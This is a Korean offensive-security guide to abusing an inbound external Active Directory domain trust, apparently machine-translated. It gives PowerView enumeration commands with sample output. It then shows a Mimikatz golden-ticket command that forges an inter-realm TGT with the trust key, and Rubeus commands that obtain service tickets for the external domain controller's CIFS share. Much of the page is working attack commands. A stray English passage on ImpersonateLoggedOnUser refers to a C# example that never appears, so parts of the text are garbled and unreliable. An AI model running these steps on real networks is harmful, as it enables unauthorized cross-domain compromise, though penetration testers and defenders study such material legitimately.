이 시나리오에서 외부 도메인이 신뢰하고 있으므로 (또는 둘 다 서로 신뢰하고 있는 경우) 일부 액세스를 얻을 수 있습니다.
열거
먼저, 신뢰를 열거해야 합니다:
Get-DomainTrustSourceName : a.domain.local --> Current domainTargetName : domain.external --> Destination domainTrustType : WINDOWS-ACTIVE_DIRECTORYTrustAttributes :TrustDirection : Inbound --> Inboud trustWhenCreated : 2/19/202110:50:56 PMWhenChanged : 2/19/202110:50:56 PM# Get name of DC of the other domainGet-DomainComputer-Domain domain.external -Properties DNSHostNamednshostname-----------dc.domain.external# Groups that contain users outside of its domain and return its membersGet-DomainForeignGroupMember-Domain domain.externalGroupDomain : domain.externalGroupName : AdministratorsGroupDistinguishedName : CN=Administrators,CN=Builtin,DC=domain,DC=externalMemberDomain : domain.externalMemberName : S-1-5-21-3263068140-2042698922-2891547269-1133MemberDistinguishedName : CN=S-1-5-21-3263068140-2042698922-2891547269-1133,CN=ForeignSecurityPrincipals,DC=domain,DC=external# Get name of the principal in the current domain member of the cross-domain groupConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1133DEV\External Admins# Get members of the cros-domain groupGet-DomainGroupMember-Identity "External Admins"| select MemberNameMemberName----------crossuser# Lets list groups members## Check how the "External Admins" is part of the Administrators group in that DCGet-NetLocalGroupMember-ComputerName dc.domain.externalComputerName : dc.domain.externalGroupName : AdministratorsMemberName : SUB\External AdminsSID : S-1-5-21-3263068140-2042698922-2891547269-1133IsGroup : TrueIsDomain : True# You may also enumerate where foreign groups and/or users have been assigned# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.
이전의 열거에서는 crossuser 사용자가 External Admins 그룹에 속해 있으며 외부 도메인의 DC에서 관리자 액세스를 가지고 있음을 발견했습니다.
초기 접근
다른 도메인에서 사용자의 특별한 액세스를 찾지 못했다면, 여전히 AD 방법론으로 돌아가서 권한이 없는 사용자로부터 권한 상승을 시도할 수 있습니다 (예: kerberoasting과 같은 것):
-Domain 매개변수를 사용하여 Powerview 함수를 사용하여 다른 도메인을 열거할 수 있습니다.
현재 도메인의 사용자를 표현하는 TGT를 위조하여 신뢰할 수 있는 키로 서명할 수 있습니다.
# Get a TGT for the cross-domain privileged user to the other domainInvoke-Mimikatz -Command '"kerberos::golden /user:<username> /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'
# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:C:\path\save\ticket.kirbi /nowrap
# Now you have a TGS to access the CIFS service of the domain controller
사용자를 완전히 표현하는 방법
In this technique, we will impersonate the user in order to gain access to their resources and perform actions on their behalf. This can be useful in scenarios where we have obtained the user's credentials or have gained access to their session.
To impersonate the user, we can make use of the ImpersonateLoggedOnUser function in Windows. This function allows us to switch the current thread's security context to that of the specified user.
Here is an example of how to use the ImpersonateLoggedOnUser function in C#:
In this example, we first obtain the user's token by calling the LogonUser function. We then use the obtained token to impersonate the user by calling the ImpersonateLoggedOnUser function. After performing the desired actions as the impersonated user, we revert back to the original security context by calling the RevertToSelf function.
By impersonating the user, we can access their resources and perform actions on their behalf, allowing us to bypass certain security measures and gain unauthorized access to sensitive information or systems.
# Get a TGT of the user with cross-domain permissionsRubeus.exe asktgt /user:crossuser /domain:sub.domain.local /aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80 /opsec /nowrap
# Get a TGT from the current domain for the target domain for the userRubeus.exe asktgs /service:krbtgt/domain.external /domain:sub.domain.local /dc:dc.sub.domain.local /ticket:doIFdD[...snip...]MuSU8= /nowrap
# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:doIFMT[...snip...]5BTA== /nowrap
# Now you have a TGS to access the CIFS service of the domain controller
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